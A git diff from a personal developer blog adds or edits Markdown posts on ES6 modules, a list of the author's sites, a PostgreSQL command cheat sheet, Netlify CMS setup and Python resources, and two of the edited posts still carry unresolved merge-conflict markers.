diff --git a/src/pages/blog/modules.md b/src/pages/blog/modules.md
new file mode 100644
index 0000000000..e7c8b65a14
--- /dev/null
+++ b/src/pages/blog/modules.md
@@ -0,0 +1,285 @@
+---
+title: "Modules "
+template: post
+subtitle: "Imports & Modules "
+date: 2022-08-11T04:43:40.615Z
+image: /blog/28b10adb-7a99-4ef1-ae2a-4a74484fc50d.jpeg
+thumb_image: /blog/28b10adb-7a99-4ef1-ae2a-4a74484fc50d.jpeg
+image_position: top
+tags:
+  - src/data/tags/clean-code.yaml
+show_author_bio: false
+cmseditable: true
+---
+\
+Things have changed. JavaScript projects have grown to jaw-dropping sizes, and the community has developed tools for working at scale. One of the most basic things you need is a module system, a way to spread your work across multiple files and directories—but still make sure all your bits of code can access one another as needed—but also be able to load all that code efficiently. So naturally, JavaScript has a module system. Several, actually. There are also several package managers, tools for installing all that software and coping with high-level dependencies. You might think ES6, with its new module syntax, is a little late to the party.
+
+Well, today we’ll see whether ES6 adds anything to these existing systems, and whether or not future standards and tools will be able to build on it. But first, let’s just dive in and see what ES6 modules look like.
+
+### Module basics
+
+An ES6 module is a file containing JS code. There’s no special `module` keyword; a module mostly reads just like a script. There are two differences.
+
+* ES6 modules are automatically strict-mode code, even if you don’t write `"use strict";` in them.
+* You can use `import` and `export` in modules.
+
+Let’s talk about `export` first. Everything declared inside a module is local to the module, by default. If you want something declared in a module to be public, so that other modules can use it, you must *export* that feature. There are a few ways to do this. The simplest way is to add the `export` keyword.
+
+``
+
+`// kittydar.js - Find the locations of all the cats in an image.
+// (Heather Arthur wrote this library for real)
+// (but she didn't use modules, because it was 2013)
+
+export function detectCats(canvas, options) {
+  var kittydar = new Kittydar(options);
+  return kittydar.detectCats(canvas);
+}
+
+export class Kittydar {
+  ... several methods doing image processing ...
+}
+
+// This helper function isn't exported.
+function resizeCanvas() {
+  ...
+}
+...
+`
+
+``
+
+You can `export` any top-level `function`, `class`, `var`, `let`, or `const`.
+
+And that’s really all you need to know to write a module! You don’t have to put everything in an [IIFE](https://en.wikipedia.org/wiki/Immediately-invoked_function_expression) or a callback. Just go ahead and declare everything you need. Since the code is a module, not a script, all the declarations will be scoped to that module, *not* globally visible across all scripts and modules. Export the declarations that make up the module’s public API, and you’re done.
+
+Apart from exports, the code in a module is pretty much just normal code. It can use globals like `Object` and `Array`. If your module runs in a web browser, it can use `document` and `XMLHttpRequest`.
+
+In a separate file, we can import and use the `detectCats()` function:
+
+``
+
+`// demo.js - Kittydar demo program
+
+import {detectCats} from "kittydar.js";
+
+function go() {
+    var canvas = document.getElementById("catpix");
+    var cats = detectCats(canvas);
+    drawRectangles(canvas, cats);
+}
+`
+
+``
+
+To import multiple names from a module, you would write:
+
+``
+
+`import {detectCats, Kittydar} from "kittydar.js";`
+
+``
+
+When you run a module containing an `import` declaration, the modules it imports are loaded first, then each module body is executed in a depth-first traversal of the dependency graph, avoiding cycles by skipping anything already executed.
+
+And those are the basics of modules. It’s really quite simple. ;-)
+
+### Export lists
+
+Rather than tagging each exported feature, you can write out a single list of all the names you want to export, wrapped in curly braces:
+
+``
+
+export {detectCats, Kittydar};
+
+// no `export` keyword required here
+function detectCats(canvas, options) { ... }
+class Kittydar { ... }
+
+
+``
+
+An `export` list doesn’t have to be the first thing in the file; it can appear anywhere in a module file’s top-level scope. You can have multiple `export` lists, or mix `export` lists with other `export` declarations, as long as no name is exported more than once.
+
+### Renaming imports and exports
+
+Once in a while, an imported name happens to collide with some other name that you also need to use. So ES6 lets you rename things when you import them:
+
+``
+
+// suburbia.js
+
+// Both these modules export something named `flip`.
+// To import them both, we must rename at least one.
+import {flip as flipOmelet} from "eggs.js";
+import {flip as flipHouse} from "real-estate.js";
+...
+
+
+``
+
+Similarly, you can rename things when you export them. This is handy if you want to export the same value under two different names, which occasionally happens:
+
+``
+
+`// unlicensed_nuclear_accelerator.js - media streaming without drm
+// (not a real library, but maybe it should be)
+
+function v1() { ... }
+function v2() { ... }
+
+export {
+  v1 as streamV1,
+  v2 as streamV2,
+  v2 as streamLatestVersion
+};
+`
+
+``
+
+### Default exports
+
+The new standard is designed to interoperate with existing CommonJS and AMD modules. So suppose you have a Node project and you’ve done `npm install lodash`. Your ES6 code can import individual functions from Lodash:
+
+``
+
+`import {each, map} from "lodash";
+
+each(\[3, 2, 1], x => console.log(x));
+`
+
+``
+
+But perhaps you’ve gotten used to seeing `_.each` rather than `each` and you still want to write things that way. Or maybe you want to use `_` as a function, since [that’s a useful thing to do in Lodash](https://lodash.com/docs#_).
+
+For that, you can use a slightly different syntax: import the module without curly braces.
+
+``
+
+`import _ from "lodash";`
+
+``
+
+This shorthand is equivalent to `import {default as _} from "lodash";`. All CommonJS and AMD modules are presented to ES6 as having a `default` export, which is the same thing that you would get if you asked `require()` for that module—that is, the `exports` object.
+
+ES6 modules were designed to let you export multiple things, but for existing CommonJS modules, the default export is all you get. For example, as of this writing, the famous [colors](https://github.com/Marak/colors.js) package doesn’t have any special ES6 support as far as I can tell. It’s a collection of CommonJS modules, like most packages on npm. But you can import it right into your ES6 code.
+
+``
+
+``// ES6 equivalent of `var colors = require("colors/safe");`
+import colors from "colors/safe";``
+
+``
+
+If you’d like your own ES6 module to have a default export, that’s easy to do. There’s nothing magic about a default export; it’s just like any other export, except it’s named `"default"`. You can use the renaming syntax we already talked about:
+
+``
+
+`let myObject = {
+  field1: value1,
+  field2: value2
+};
+export {myObject as default};`
+
+``
+
+Or better yet, use this shorthand:
+
+``
+
+`export default {
+  field1: value1,
+  field2: value2
+};`
+
+``
+
+The keywords `export default` can be followed by any value: a function, a class, an object literal, you name it.
+
+### Module objects
+
+Sorry this is so long. But JavaScript is not alone: for some reason, module systems in all languages tend to have a ton of individually small, boring convenience features. Fortunately, there’s just one thing left. Well, two things.
+
+``
+
+`import * as cows from "cows";`
+
+``
+
+When you `import *`, what’s imported is a module namespace object. Its properties are the module’s exports. So if the “cows” module exports a function named `moo()`, then after importing “cows” this way, you can write: `cows.moo()`.
+
+### Aggregating modules
+
+Sometimes the main module of a package is little more than importing all the package’s other modules and exporting them in a unified way. To simplify this kind of code, there’s an all-in-one import-and-export shorthand:
+
+``
+
+`// world-foods.js - good stuff from all over
+
+// import "sri-lanka" and re-export some of its exports
+export {Tea, Cinnamon} from "sri-lanka";
+
+// import "equatorial-guinea" and re-export some of its exports
+export {Coffee, Cocoa} from "equatorial-guinea";
+
+// import "singapore" and export ALL of its exports
+export * from "singapore";
+`
+
+``
+
+Each one of these `export-from` statements is similar to an `import-from` statement followed by an `export`. Unlike a real import, this doesn’t add the re-exported bindings to your scope. So don’t use this shorthand if you plan to write some code in `world-foods.js` that makes use of `Tea`. You’ll find that it’s not there.
+
+If any name exported by “singapore” happened to collide with the other exports, that would be an error, so use `export *` with care.
+
+Whew! We’re done with syntax! On to the interesting parts.
+
+### What does `import` actually do?
+
+Would you believe… *nothing?*
+
+Oh, you’re not that gullible. Well, would you believe the standard *mostly doesn’t say* what `import` does? And that this is a good thing?
+
+ES6 leaves the details of module loading entirely [up to the implementation](http://www.ecma-international.org/ecma-262/6.0/index.html#sec-hostresolveimportedmodule). The rest of module execution is [specified in detail](http://www.ecma-international.org/ecma-262/6.0/index.html#sec-toplevelmoduleevaluationjob).
+
+Roughly speaking, when you tell the JS engine to run a module, it has to behave as though these four steps are happening:
+
+1. Parsing: The implementation reads the source code of the module and checks for syntax errors.
+2. Loading: The implementation loads all imported modules (recursively). This is the part that isn’t standardized yet.
+3. Linking: For each newly loaded module, the implementation creates a module scope and fills it with all the bindings declared in that module, including things imported from other modules.
+
+   This is the part where if you try to `import {cake} from "paleo"`, but the “paleo” module doesn’t actually export anything named `cake`, you’ll get an error. And that’s too bad, because you were *so close*to actually running some JS code. And having cake!
+4. Run time: Finally, the implementation runs the statements in the body of each newly-loaded module. By this time, `import` processing is already finished, so when execution reaches a line of code where there’s an `import` declaration… nothing happens!
+
+See? I told you the answer was “nothing”. I don’t lie about programming languages.
+
+But now we get to the fun part of this system. There’s a cool trick. Because the system doesn’t specify how loading works, and because you can figure out all the dependencies ahead of time by looking at the `import`declarations in the source code, an implementation of ES6 is free to do all the work at compile time and bundle all your modules into a single file to ship them over the network! And tools like [webpack](http://www.2ality.com/2015/04/webpack-es6.html) actually do this.
+
+This is a big deal, because loading scripts over the network takes time, and every time you fetch one, you may find that it contains `import` declarations that require you to load dozens more. A naive loader would require a lot of network round trips. But with webpack, not only can you use ES6 with modules today, you get all the software engineering benefits with no run-time performance hit.
+
+A detailed specification of module loading in ES6 was originally planned—and built. One reason it isn’t in the final standard is that there wasn’t consensus on how to achieve this bundling feature. I hope someone figures it out, because as we’ll see, module loading really should be standardized. And bundling is too good to give up.
+
+### Static vs. dynamic, or: rules and how to break them
+
+For a dynamic language, JavaScript has gotten itself a surprisingly static module system.
+
+* All flavors of `import` and `export` are allowed only at toplevel in a module. There are no conditional imports or exports, and you can’t use `import` in function scope.
+* All exported identifiers must be explicitly exported by name in the source code. You can’t programmatically loop through an array and export a bunch of names in a data-driven way.
+* Module objects are frozen. There is no way to hack a new feature into a module object, polyfill style.
+* *All* of a module’s dependencies must be loaded, parsed, and linked eagerly, before any module code runs. There’s no syntax for an `import` that can be loaded lazily, on demand.
+* There is no error recovery for `import` errors. An app may have hundreds of modules in it, and if anything fails to load or link, nothing runs. You can’t `import`in a `try/catch` block. (The upside here is that because the system is so static, webpack can detect those errors for you at compile time.)
+* There is no hook allowing a module to run some code before its dependencies load. This means that modules have no control over how their dependencies are loaded.
+
+The system is quite nice as long as your needs are static. But you can imagine needing a little hack sometimes, right?
+
+That’s why whatever module-loading system you use will have a programmatic API to go alongside ES6’s static `import/export` syntax. For example, [webpack includes an API](http://webpack.github.io/docs/code-splitting.html) that you can use for “code splitting”, loading some bundles of modules lazily on demand. The same API can help you break most of the other rules listed above.
+
+The ES6 module *syntax* is very static, and that’s good—it’s paying off in the form of powerful compile-time tools. But the static syntax was designed to work alongside a rich dynamic, programmatic loader API.
+
+### When can I use ES6 modules?
+
+To use modules today, you’ll need a compiler such as [Traceur](https://github.com/google/traceur-compiler#what-is-traceur) or [Babel](http://babeljs.io/). Earlier in this series, [Gastón I. Silva showed how to use Babel and Broccoli](https://hacks.mozilla.org/2015/06/es6-in-depth-babel-and-broccoli/) to compile ES6 code for the web; building on that article, Gastón has [a working example with support for ES6 modules](https://github.com/givanse/broccoli-babel-examples/tree/master/es6-modules). This [post by Axel Rauschmayer](http://www.2ality.com/2015/04/webpack-es6.html) contains an example using Babel and webpack.
+
+The ES6 module system was designed mainly by Dave Herman and Sam Tobin-Hochstadt, who defended the static parts of the system against all comers (including me) through years of controversy. Jon Coppeard is implementing modules in Firefox. Additional work on a [JavaScript Loader Standard](https://github.com/whatwg/loader) is underway. Work to add something like `<script type=module>` to HTML is expected to follow.
+
+And that’s ES6.
\ No newline at end of file
diff --git a/src/pages/blog/my-websites.md b/src/pages/blog/my-websites.md
new file mode 100644
index 0000000000..e476baa18a
--- /dev/null
+++ b/src/pages/blog/my-websites.md
@@ -0,0 +1,68 @@
+---
+title: My Websites
+template: post
+subtitle: my websites
+date: 2022-08-15T18:48:23.888Z
+image: null
+image_position: top
+author: src/data/authors/im.yaml
+tags:
+  - src/data/tags/awesome-lists.yaml
+show_author_bio: true
+related_posts:
+  - src/pages/blog/front-end-resources.md
+cmseditable: true
+---
+<!--StartFragment-->
+
+1. [WEB DEV RESOURCE HUB](https://web-dev-resource-hub.netlify.app/)
+2. [Web-Dev-Quizzes](https://web-dev-interview-prep-quiz-website.netlify.app/intro-js2.html)
+3. [Recursion](https://zen-lamport-5aab2c.netlify.app/)
+4. [React Documentation Site](https://csb-ov0d1-bgoonz.vercel.app/)
+5. [Blogs-from-webdevhub](https://amazing-hodgkin-33aea6.netlify.app/)
+6. [Realty Website Demo](https://angry-fermat-dcf5dd.netlify.app/)
+7. [Best-Prac & Tools](https://boring-heisenberg-f425d8.netlify.app/)
+8. [site-analysis](https://site-analysis.netlify.app/)
+9. [a/AOpen Notes](https://clever-bartik-b5ba19.netlify.app/)
+10. [Iframe Embed Playground](https://code-playground.netlify.app/)
+11. [Triggered Effects Guitar Platform](https://condescending-lewin-c96727.netlify.app/)
+12. [Live Form](https://determined-dijkstra-666766.netlify.app/)
+13. [Interview Questions](https://determined-dijkstra-ee7390.netlify.app/)
+14. [Resources Compilation](https://eager-northcutt-456076.netlify.app/)
+15. [React Blog Depreciated](https://ecstatic-jang-593fd1.netlify.app/)
+16. [MihirBeg.com](https://eloquent-sammet-ba1810.netlify.app/)
+17. [Embeded Html Projects](https://embedable-content.netlify.app/)
+18. [Cheat Sheets](https://festive-borg-e4d856.netlify.app/)
+19. [Early Version Of WebDevHub](https://focused-pasteur-0faac8.netlify.app/)
+20. [My Gists](https://gists42.netlify.app/)
+21. [DS-Algo-Links](https://gracious-raman-474030.netlify.app/)
+22. [Video Chat App](https://happy-mestorf-0f8e75.netlify.app/)
+23. [Ciriculumn](https://hungry-shaw-30d504.netlify.app/)
+24. [Cheat Sheets](https://inspiring-jennings-d14689.netlify.app/)
+25. [Links](https://links4242.netlify.app/)
+26. [Medium Articles](https://modest-booth-4e17df.netlify.app/)
+27. [NextJS Blog Template](https://modest-torvalds-34afbc.netlify.app/)
+28. [React Demo](https://modest-varahamihira-772b59.netlify.app/)
+29. [Ecomerce Norwex V1](https://nervous-swartz-0ab2cc.netlify.app/)
+30. [Gifs](https://objective-borg-a327cd.netlify.app/)
+31. [Excel2HTML](https://pedantic-wing-adbf82.netlify.app/)
+32. [Data Structures Site](https://pensive-meitner-1ea8c4.netlify.app/)
+33. [Portfolio](https://portfolio42.netlify.app/)
+34. [Page Templates](https://priceless-shaw-86ccb2.netlify.app/)
+35. [Photo Gallary](https://quizzical-mcnulty-fa09f2.netlify.app/)
+36. [Coffee Website](https://relaxed-bhaskara-dc85ec.netlify.app/)
+37. [Awesome Resources](https://romantic-hamilton-514b79.netlify.app/)
+38. [Cheat Sheets](https://silly-lichterman-b22b5f.netlify.app/)
+39. [Link City](https://silly-shirley-ec955e.netlify.app/)
+40. [VSCODE Extensions](https://stoic-mccarthy-2c335f.netlify.app/)
+41. [webdevhub manual attempt](https://web-dev-resource-hub-manual-deploy.netlify.app/)
+42. [Norwex Resources](https://wonderful-pasteur-392fbe.netlify.app/)
+43. [idk](https://zen-bhabha-bd046f.netlify.app/)
+44. [heroku bare bones template](https://getting-started42.herokuapp.com/)
+45. [bad reads](https://bad-reads42.herokuapp.com/)
+46. [docusaurus](https://documentation-site-react2.vercel.app/)
+47. [stackbit](https://app.stackbit.com/studio/609b2d7c71a5dd0016f36326)
+
+
+
+<!--EndFragment-->
\ No newline at end of file
diff --git a/src/pages/blog/platform-docs.md b/src/pages/blog/platform-docs.md
index 452b482b95..cd995077d3 100644
--- a/src/pages/blog/platform-docs.md
+++ b/src/pages/blog/platform-docs.md
@@ -29,7 +29,11 @@ seo:
           value: images/dtw-slideshow.gif
           relativeUrl: true
 template: post
+<<<<<<< HEAD
 thumb_image: images/redu-squarex.jpg
+=======
+thumb_image: images/netlifycms.png
+>>>>>>> master
 ---
 
 # Add to Your Site | Netlify CMS
@@ -77,7 +81,12 @@ The first file, `admin/index.html`, is the entry point for the Netlify CMS admin
     </head>
     <body>
 
+<<<<<<< HEAD
       <script src="https://unpkg.com/netlify-cms@^2.0.0/dist/netlify-cms.js"></script>
+=======
+      <script src="https://unpkg.com/netlify-cms@^2.0.0/dist/netlify-cms.js">
+</script>
+>>>>>>> master
     </body>
     </html>
 
@@ -176,7 +185,60 @@ Given this example, our `collections` settings would look like this in your Netl
 
 Let's break that down:
 
+<<<<<<< HEAD
 <table><tbody><tr><td><code>name</code></td><td>Post type identifier, used in routes. Must be unique.</td></tr><tr><td><code>label</code></td><td>What the admin UI calls the post type.</td></tr><tr><td><code>folder</code></td><td>Where files of this type are stored, relative to the repo root.</td></tr><tr><td><code>create</code></td><td>Set to <code>true</code> to allow users to create new files in this collection.</td></tr><tr><td><code>slug</code></td><td>Template for filenames. <code>{{year}}</code>, <code>{{month}}</code>, and <code>{{day}}</code> pulls from the post's <code>date</code> field or save date. <code>{{slug}}</code> is a url-safe version of the post's <code>title</code>. Default is simply <code>{{slug}}</code>.</td></tr><tr><td><code>fields</code></td><td>Fields listed here are shown as fields in the content editor, then saved as front matter at the beginning of the document (except for <code>body</code>, which follows the front matter). Each field contains the following properties:<ul><li><code>label</code>: Field label in the editor UI.</li><li><code>name</code>: Field name in the document front matter.</li><li><code>widget</code>: Determines UI style and value data type (details below).</li><li><code>default</code> (optional): Sets a default value for the field.</li></ul></td></tr></tbody></table>
+=======
+<table>
+<tbody>
+<tr>
+<td>
+<code>name</code>
+</td>
+<td>Post type identifier, used in routes. Must be unique.</td>
+</tr>
+<tr>
+<td>
+<code>label</code>
+</td>
+<td>What the admin UI calls the post type.</td>
+</tr>
+<tr>
+<td>
+<code>folder</code>
+</td>
+<td>Where files of this type are stored, relative to the repo root.</td>
+</tr>
+<tr>
+<td>
+<code>create</code>
+</td>
+<td>Set to <code>true</code> to allow users to create new files in this collection.</td>
+</tr>
+<tr>
+<td>
+<code>slug</code>
+</td>
+<td>Template for filenames. <code>{{year}}</code>, <code>{{month}}</code>, and <code>{{day}}</code> pulls from the post's <code>date</code> field or save date. <code>{{slug}}</code> is a url-safe version of the post's <code>title</code>. Default is simply <code>{{slug}}</code>.</td>
+</tr>
+<tr>
+<td>
+<code>fields</code>
+</td>
+<td>Fields listed here are shown as fields in the content editor, then saved as front matter at the beginning of the document (except for <code>body</code>, which follows the front matter). Each field contains the following properties:<ul>
+<li>
+<code>label</code>: Field label in the editor UI.</li>
+<li>
+<code>name</code>: Field name in the document front matter.</li>
+<li>
+<code>widget</code>: Determines UI style and value data type (details below).</li>
+<li>
+<code>default</code> (optional): Sets a default value for the field.</li>
+</ul>
+</td>
+</tr>
+</tbody>
+</table>
+>>>>>>> master
 
 As described above, the `widget` property specifies a built-in or custom UI widget for a given field. When a content editor enters a value into a widget, that value is saved in the document front matter as the value for the `name` specified for that field. A full listing of available widgets can be found in the [Widgets doc](chrome-extension://cjedbglnccaioiolemnfhjncicchinao/widgets).
 
@@ -217,7 +279,12 @@ Netlify's Identity and Git Gateway services allow you to manage CMS admin users
 
 With the backend set to handle authentication, now you need a frontend interface to connect to it. The open source Netlify Identity Widget is a drop-in widget made for just this purpose. To include the widget in your site, add the following script tag in two places:
 
+<<<<<<< HEAD
     <script src="https://identity.netlify.com/v1/netlify-identity-widget.js"></script>
+=======
+    <script src="https://identity.netlify.com/v1/netlify-identity-widget.js">
+</script>
+>>>>>>> master
 
 Add this to the `<head>` of your CMS index page at `/admin/index.html`, as well as the `<head>` of your site's main index page. Depending on how your site generator is set up, this may mean you need to add it to the default template, or to a "partial" or "include" template. If you can find where the site stylesheet is linked, that's probably the right place. Alternatively, you can include the script in your site using Netlify's [Script Injection](https://www.netlify.com/docs/inject-analytics-snippets/) feature.
 
diff --git a/src/pages/blog/psql-cheat-sheet.md b/src/pages/blog/psql-cheat-sheet.md
new file mode 100644
index 0000000000..48d1b6ba72
--- /dev/null
+++ b/src/pages/blog/psql-cheat-sheet.md
@@ -0,0 +1,396 @@
+---
+title: PSQl Cheat Sheet
+template: post
+subtitle: Basic Commands
+excerpt: Login to postgresql
+date: 2022-04-04T17:27:00.746Z
+image: https://raw.githubusercontent.com/bgoonz/BGOONZ_BLOG_2.0/master/static/images/psql-diagram.jpg?raw=true
+thumb_image: https://raw.githubusercontent.com/bgoonz/BGOONZ_BLOG_2.0/master/static/images/psql-diagram.jpg?raw=true
+image_position: right
+author: src/data/authors/bgoonz.yaml
+categories:
+  - src/data/categories/db.yaml
+tags:
+  - src/data/tags/psql.yaml
+show_author_bio: true
+related_posts:
+    - src/pages/blog/psql-cheat-sheet.md
+cmseditable: true
+---
+
+# 💻 PSQL💻
+
+> source
+
+## Basic Commands
+
+### Login to postgresql
+
+```sql
+psql -U postgres
+psql -d mydb -U myuser -W
+psql -h myhost -d mydb -U myuser -W
+psql -U myuser -h myhost "dbname=mydb sslmode=require" # ssl connection
+```
+
+### Default Admin Login
+
+```console
+sudo -u postgres psql -U postgres
+sudo -u postgres psql
+```
+
+### List databases on postgresql server
+
+### Determine system tables
+
+```console
+select * from pg_tables where tableowner = 'postgres';
+```
+
+### List databases from within a pg shell
+
+### List databases from UNIX command prompt
+
+### Describe a table
+
+### Quit psql
+
+### Switch postgres database within admin login shell
+
+### Reset a user password as admin
+
+```console
+alter user usertochange with password 'new_passwd';
+```
+
+### Show all tables
+
+### List all Schemas
+
+### List all users
+
+### Load data into postgresql
+
+```console
+psql -W -U username -H hostname < file.sql
+```
+
+### Dump (Backup) Data into file
+
+```console
+pg_dump -W -U username -h hostname database_name > file.sql
+```
+
+### Increment a sequence
+
+```console
+SELECT nextval('my_id_seq');
+```
+
+### Create new user
+
+```console
+CREATE USER lemmy WITH PASSWORD 'myPassword';
+# or
+
+sudo -u postgres createuser lemmy -W
+```
+
+### Change user password
+
+```console
+ALTER USER Postgres WITH PASSWORD 'mypass';
+```
+
+### Grant user createdb privilege
+
+```console
+ALTER USER myuser WITH createdb;
+```
+
+### Create a superuser user
+
+```console
+create user mysuper with password '1234' SUPERUSER
+# or even better
+create user mysuper with password '1234' SUPERUSER CREATEDB CREATEROLE INHERIT LOGIN REPLICATION;
+# or
+sudo -u postgres createuser lemmy -W -s
+```
+
+### Upgrade an existing user to superuser
+
+```console
+alter user mysuper with superuser;
+# or even better
+alter user mysuper with SUPERUSER CREATEDB CREATEROLE INHERIT LOGIN REPLICATION
+```
+
+### Show Database Version
+
+### Change Database Owner
+
+```console
+alter database database_name owner to new_owner;
+```
+
+### Copy a database
+
+```console
+CREATE DATABASE newdb WITH TEMPLATE originaldb;
+```
+
+### View Database Connections
+
+```console
+SELECT * FROM pg_stat_activity;
+```
+
+### View show data directory (works on 9.1+)
+
+### Show run-time parameters
+
+```console
+show all;
+select * from pg_settings;
+```
+
+### Show the block size setting
+
+```console
+# show block_size;
+ block_size
+------------
+ 8192
+(1 row)
+```
+
+### Show stored procedure source
+
+```console
+SELECT prosrc FROM pg_proc WHERE proname = 'procname'
+```
+
+### Grant examples
+
+```sql
+# readonly to all tables for myuser
+grant select on all tables in schema public to myuser;
+# all privileges on table1 and table2 to myuser
+grant all privileges on table1, table2, table3 to myuser;
+```
+
+### Restore Postgres .dump file
+
+```sql
+pg_restore --verbose --clean --no-acl --no-owner -h localhost -U myuser -d mydb latest.dump
+```
+
+[source](https://gist.github.com/kagemusha/1569836)
+
+### Find all active sessions and kill them (i.e. for when needing to drop or rename db)
+
+Source: <http://stackoverflow.com/questions/5408156/how-to-drop-a-postgresql-database-if-there-are-active-connections-to-it>
+
+```sql
+# Postgres 9.6 and above
+SELECT pg_terminate_backend(pg_stat_activity.pid)
+FROM pg_stat_activity
+WHERE pg_stat_activity.datname = 'TARGET_DB'
+ AND pid <> pg_backend_pid();
+
+# Postgres 9.6 and below
+SELECT pg_terminate_backend(pg_stat_activity.procpid)
+FROM pg_stat_activity
+WHERE pg_stat_activity.datname = 'TARGET_DB'
+AND procpid <> pg_backend_pid();
+```
+
+## Handy Queries
+
+```sql
+-- List procedure/function
+SELECT * FROM pg_proc WHERE proname='__procedurename__';
+
+-- List view (including the definition)
+SELECT * FROM pg_views WHERE viewname='__viewname__';
+
+-- Show DB table space in use
+SELECT pg_size_pretty(pg_total_relation_size('__table_name__'));:
+
+-- Show DB space in use
+SELECT pg_size_pretty(pg_database_size('__database_name__'));
+
+-- Show current user's statement timeout
+show statement_timeout;
+
+-- Show table indexes
+SELECT * FROM pg_indexes WHERE tablename='__table_name__' AND schemaname='__schema_name__';
+
+-- Get all indexes from all tables of a schema:
+SELECT
+   t.relname AS table_name,
+   i.relname AS index_name,
+   a.attname AS column_name
+FROM
+   pg_class t,
+   pg_class i,
+   pg_index ix,
+   pg_attribute a,
+   pg_namespace n
+WHERE
+   t.oid = ix.indrelid
+   AND i.oid = ix.indexrelid
+   AND a.attrelid = t.oid
+   AND a.attnum = ANY(ix.indkey)
+   AND t.relnamespace = n.oid
+   AND n.nspname = 'kartones'
+ORDER BY
+   t.relname,
+   i.relname
+
+-- Queries being executed at a certain DB
+SELECT datname, application_name, pid, backend_start, query_start, state_change, state, query
+  FROM pg_stat_activity
+  WHERE datname='__database_name__';
+
+-- Get all queries from all dbs waiting for data (might be hung)
+SELECT * FROM pg_stat_activity WHERE waiting='t';
+```
+
+### Query analysis
+
+```console
+-- See the query plan for the given query
+EXPLAIN __query__
+
+-- See and execute the query plan for the given query
+EXPLAIN ANALYZE __query__
+
+-- Collect statistics
+ANALYZE [__table__]
+```
+
+## Querying Data
+
+### From a Single Table
+
+```console
+-- Query data in columns c1, c2 from a table
+SELECT c1, c2 FROM t;
+
+-- Query distinct rows from a table
+SELECT DISTINCT c1
+FROM t
+WHERE condition;
+
+-- Sort the result set in ascending or descending order
+SELECT c1, c2
+FROM t
+ORDER BY c1 ASC [DESC];
+
+-- Skip offset of rows and return the next n rows
+SELECT c1, c2
+FROM t
+ORDER BY c1
+LIMIT n
+OFFSET offset;
+
+-- Group rows using an aggregate function
+SELECT c1, aggregate(c2)
+FROM t
+GROUP BY c1;
+
+-- Filter groups using HAVING clause
+SELECT c1, aggregate(c2) FROM t
+GROUP BY c1
+HAVING condition;
+```
+
+### From Multiple Tables
+
+```sql
+-- Inner join t1 and t2
+SELECT c1, c2
+FROM t1
+INNER JOIN t2
+ON condition;
+
+-- Left join t1 and t1
+SELECT c1, c2
+FROM t1
+LEFT JOIN t2
+ON condition;
+
+-- Right join t1 and t2
+SELECT c1, c2
+FROM t1
+RIGHT JOIN t2
+ON condition;
+
+-- Perform full outer join
+SELECT c1, c2
+FROM t1
+FULL OUTER JOIN t2
+ON condition;
+
+-- Produce a Cartesian product of rows in tables
+SELECT c1, c2
+FROM t1
+CROSS JOIN t2;
+
+-- Another way to perform cross join
+SELECT c1, c2
+FROM t1, t2;
+
+-- Join t1 to itself using INNER JOIN clause
+SELECT c1, c2
+FROM t1 A
+INNER JOIN t2 B ON condition
+```
+
+### Using SQL Operators
+
+```sql
+-- Combine rows from two queries
+SELECT c1, c2 FROM t1
+UNION [ALL]
+SELECT c1, c2 FROM t2;
+
+-- Return the intersection of two queries
+SELECT c1, c2 FROM t1
+INTERSECT
+SELECT c1, c2 FROM t2;
+
+-- Subtract a result set from another result set
+SELECT c1, c2 FROM t1
+EXCEPT
+SELECT c1, c2 FROM t2;
+
+-- Query rows using pattern matching %, _
+SELECT c1, c2 FROM t1
+WHERE c1 [NOT] LIKE pattern;
+
+-- Query rows in a list
+SELECT c1, c2
+FROM t
+WHERE c1
+[NOT] IN value_list;
+
+-- Query rows between two values
+SELECT c1, c2
+FROM t
+WHERE c1
+BETWEEN low AND high;
+
+-- Check if values in a table is NULL or not
+SELECT c1, c2 FROM t
+WHERE c1 IS [NOT] NULL;
+```
+
+## Source
+
+- [PostgreSQL 9.6.0 Documentation](https://www.postgresql.org/docs/9.6/static/app-psql.html)
+- [PostgreSQL Exercises](https://pgexercises.com)
+- [PostgreSQL Tutorial](http://www.postgresqltutorial.com/postgresql-cheat-sheets)
diff --git a/src/pages/blog/python-resources.md b/src/pages/blog/python-resources.md
index c0aee5e178..fc88244e83 100644
--- a/src/pages/blog/python-resources.md
+++ b/src/pages/blog/python-resources.md
@@ -35,7 +35,14 @@ thumb_image_alt: python logo
 
 # Beginners Guide To Python[**Basic Web Development Environment Setup**&#xA;*Windows Subsystem for Linux (WSL) and Ubuntu*levelup.gitconnected.com](https://levelup.gitconnected.com/basic-web-development-environment-setup-9f36c3f15afe)![](https://cdn-images-1.medium.com/max/600/1*59V2ZNbyJfsdGR2N20PM7w.png)![](https://cdn-images-1.medium.com/max/800/0*oVIDxWdgJXoIt7CI.jpg)[**Put Python Anywhere on the Web**&#xA;*Python in the browser. No installation required.*trinket.io](https://trinket.io/python3/2b693977e7)&#xA;&#xA;
 
+<<<<<<< HEAD
 <iframe sandbox="allow-scripts" style="resize:both; overflow:scroll;"    src="https://py-prac-42.netlify.app/" width="100%" height="1200px"><iframe>
+=======
+
+
+[**Basic Web Development Environment Setup**&#xA;*Windows Subsystem for Linux (WSL) and Ubuntu*levelup.gitconnected.com](https://levelup.gitconnected.com/basic-web-development-environment-setup-9f36c3f15afe)![](https://cdn-images-1.medium.com/max/600/1*59V2ZNbyJfsdGR2N20PM7w.png)![](https://cdn-images-1.medium.com/max/800/0*oVIDxWdgJXoIt7CI.jpg)[**Put Python Anywhere on the Web**&#xA;*Python in the browser. No installation required.*trinket.io](https://trinket.io/python3/2b693977e7)&#xA;&#xA;
+
+>>>>>>> master
 
 My favorite language for maintainability is Python. It has simple, clean syntax, object encapsulation, good library support, and optional named parameters.
 
diff --git a/src/pages/blog/scope-closures-context-in-javascript.md b/src/pages/blog/scope-closures-context-in-javascript.md
new file mode 100644
index 0000000000..de957a049f
--- /dev/null
+++ b/src/pages/blog/scope-closures-context-in-javascript.md
@@ -0,0 +1,694 @@
+---
+title: Scope, Closures & Context In JavaScript
+template: post
+subtitle: "Scope: “Scope is the set of rules that determines where and how a
+  variable (identifier) can be looked-up.” — Kyle Simpson, You Don’t Know JS:
+  Scope & Closure"
+excerpt: “JavaScript’s global scope is like a public toilet. You can’t avoid
+  going in there, but try to limit your contact with surfaces when you do.” ―
+  Dmitry Baranowski
+date: 2022-08-05T23:06:16.762Z
+image: https://scopeclosurecontext.netlify.app/Main-Article_files/1_A1vTM5TdeUhUIfWxemwUEw.png
+thumb_image: https://scopeclosurecontext.netlify.app/Main-Article_files/1_A1vTM5TdeUhUIfWxemwUEw.png
+image_position: right
+author: src/data/authors/bgoonz.yaml
